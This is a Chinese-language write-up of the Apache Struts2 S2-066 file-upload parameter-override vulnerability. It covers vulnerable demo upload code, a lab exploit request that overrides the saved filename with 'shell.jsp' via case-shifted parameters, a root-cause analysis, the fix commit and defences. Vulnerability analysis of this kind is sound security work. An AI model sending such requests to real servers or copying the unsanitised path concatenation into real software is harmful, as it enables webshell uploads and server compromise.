Struts2 S2-066漏洞浅析
字数 1410 2025-08-23 18:31:18
Struts2 S2-066漏洞分析与利用指南
漏洞概述
Struts2 S2-066是一个文件上传参数覆盖漏洞,影响Apache Struts2框架。该漏洞源于参数处理过程中大小写敏感性问题,导致攻击者可以通过精心构造的请求覆盖上传文件名,从而实现恶意文件上传。
环境搭建
方法一:使用官方showcase
下载地址:https://archive.apache.org/dist/struts/6.3.0/
方法二:使用IDEA Maven模板
- 使用IDEA创建Maven项目
- 选择Struts2模板直接生成项目结构
漏洞代码示例
package com.struts2;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import java.io.File;
public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
private String uploadContentType;
private String uploadFileName;
// Getter和Setter方法
public File getUpload() { return upload; }
public void setUpload(File upload) { this.upload = upload; }
public String getUploadContentType() { return uploadContentType; }
public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; }
public String getUploadFileName() { return uploadFileName; }
public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; }
public String doUpload() {
String path = "/tmp";
String realPath = path + File.separator + uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
}
漏洞复现
正常请求示例
POST /S2_066_demo_war_exploded/upload.action HTTP/1.1
Host: localhost:9098
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Length: 187
------WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Disposition: form-data; name="upload"; filename="aaa.tx1t"
Content-Type: text/plain
xxx
------WebKitFormBoundaryfCZX2JnRcn31usNI--
漏洞利用请求
通过添加uploadFileName参数覆盖原始文件名:
POST /S2_066_demo_war_exploded/upload.action?uploadFileName=shell.jsp HTTP/1.1
Host: localhost:9098
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Length: 187
------WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Disposition: form-data; name="Upload"; filename="aaa.tx1t"
Content-Type: text/plain
xxx
------WebKitFormBoundaryfCZX2JnRcn31usNI--
漏洞分析
关键点
-
参数处理流程:
- 请求参数被放入
extraContext.parameters中 - 使用
TreeMap存储参数,导致大小写敏感性问题
- 请求参数被放入
-
文件上传拦截器(FileUploadInterceptor):
- 获取表单中的原始文件名
- 生成
fileNameName变量(格式为inputName + "FileName") - 将变量添加到action的param中
-
参数拦截器(ParametersInterceptor):
- 处理请求参数并赋值给ActionContext
- 使用
TreeMap导致大写参数先处理,小写参数后处理
-
参数覆盖机制:
- 大写参数(如
UploadFileName)先被处理 - 小写参数(如
uploadFileName)后被处理,覆盖之前的值 - 最终
uploadFileName成员变量被恶意值覆盖
- 大写参数(如
调用栈分析
关键调用栈路径:
Dispatcher.serviceAction- 初始化请求参数FileUploadInterceptor.intercept- 处理文件上传ParametersInterceptor.intercept- 处理普通参数OgnlUtil.setValue- 通过OGNL表达式赋值
漏洞利用条件
-
Action类必须包含以下成员变量:
private String uploadFileName; // 或其他符合命名规则的变量 -
文件保存路径必须使用成员变量拼接:
String realPath = path + File.separator + uploadFileName; -
参数命名规则必须符合以下两种格式之一:
UploadFileNameuploadFileName
漏洞修复
官方修复commit:
https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163
主要修改了core/src/main/java/org/apache/struts2/dispatcher/HttpParameters.java中对大小写的处理逻辑。
防御措施
- 升级到修复版本
- 在文件上传逻辑中添加严格的文件名校验
- 避免直接使用用户输入拼接文件路径
- 实现白名单校验文件扩展名
扩展思考
-
其他参数覆盖可能性:
- 理论上可以覆盖任何通过类似机制赋值的参数
- 需要符合特定的命名规则和大小写组合
-
实际应用场景:
- 绕过白名单上传限制
- 实现目录穿越攻击
- 上传WebShell等恶意文件
参考资源
- https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-文件上传分析-S2-066/
- Apache Struts官方安全公告